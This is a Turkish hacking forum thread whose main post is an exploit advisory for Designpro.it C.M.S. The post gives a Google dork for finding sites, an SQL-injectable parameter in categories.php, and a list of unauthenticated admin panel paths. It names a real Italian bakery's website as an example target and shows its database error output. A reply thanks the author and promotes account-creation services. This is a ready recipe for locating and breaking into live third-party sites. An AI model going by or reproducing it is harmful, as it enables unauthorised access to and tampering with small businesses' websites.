Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: Powered By Designpro.it C.M.S Italia SQL Inj
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 56
Yaşam Puanı: 1,382 / 1,382
Deneyim: 30 / 100
Rep Sayısı: 2826
Mesaj Sayısı: 6456
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
Powered By Designpro.it C.M.S Italia SQL Inj
22.06.2018 20:19
################################################################################​#################

# Exploit Title : Powered By Designpro.it C.M.S Italia SQL Injection and Improper Authentication Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 23/06/2018
# Vendor Homepage : designpro.it
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
+ CWE-264 [ Permissions, Privileges, and Access Controls ]
+ CWE-287 [ Improper Authentication ]

################################################################################​#################

# Google Dork : intext:''POWERED BY DESIGNPRO.IT C.M.S.''

# Exploit : /categories.php?Cid=[SQL Inj]

# Admin Panel : /admin

Note : Admin Control Panel without username and password.

No need any login credentials.

Useable URL Paths in the Control Panel =>

/admin/index.php
/admin/categories.php
/admin/addcategories.php
/admin/images.php
/admin/addimages.php

################################################################################​#################

# Example Site : panificiopalombi.it/categories.php?Cid=9'

# SQL Database Error :

Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future:
use mysqli or PDO instead in /home/panifici/public_html/config.php on line 7

Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future:
use mysqli or PDO instead in /home/panifici/public_html/config.php on line 7

Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future:
use mysqli or PDO instead in /home/panifici/public_html/admin/include/database.php on line 16

Deprecated: Function mysql_numrows() is deprecated in /home/panifici/public_html/admin/include/database.php on line 154

Deprecated: Function mysql_numrows() is deprecated in /home/panifici/public_html/admin/include/database.php on line 162

Deprecated: Function mysql_numrows() is deprecated in /home/panifici/public_html/admin/include/database.php on line 162

Deprecated: Function mysql_numrows() is deprecated in /home/panifici/public_html/admin/include/database.php on line 154

Deprecated: Function mysql_numrows() is deprecated in /home/panifici/public_html/admin/include/database.php on line 162

+ Proof of Concept for SQL Injection : archive.is/CoBpL - archive.is/Er9X3

################################################################################​#################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

################################################################################​#################

# Cyberizm Digital Security Technological Turkish Moslem Army #
# İnsanda bir organ vardır. Eğer o sağlıklı ise bütün vücut sağlıklı olur;
eğer o bozulursa bütün vücut bozulur. Dikkat edin! O, kalptir.
[ Hz.Muhammed S.A.V ] #


Alinti
Dessy
*
avatar
Yarbay
Durum: Çevrimdışı
Seviye Puanı: 22
Yaşam Puanı: 241 / 525
Deneyim: 3 / 100
Rep Sayısı: 106
Mesaj Sayısı: 576
Üyelik Tarihi: 20.11.2015
     
Yorum: #2
RE: Powered By Designpro.it C.M.S Italia SQL Inj
23.06.2018 11:58
Teşekkürler, Emeğine Sağlık Smile

İnstagram Sınırsız Hesap > Git
Youtube Sınırsız Hesap > Git
Sosyal Medyada Sınırsız Hesap Açma p2 Yakında.
Alinti



1 Ziyaretçi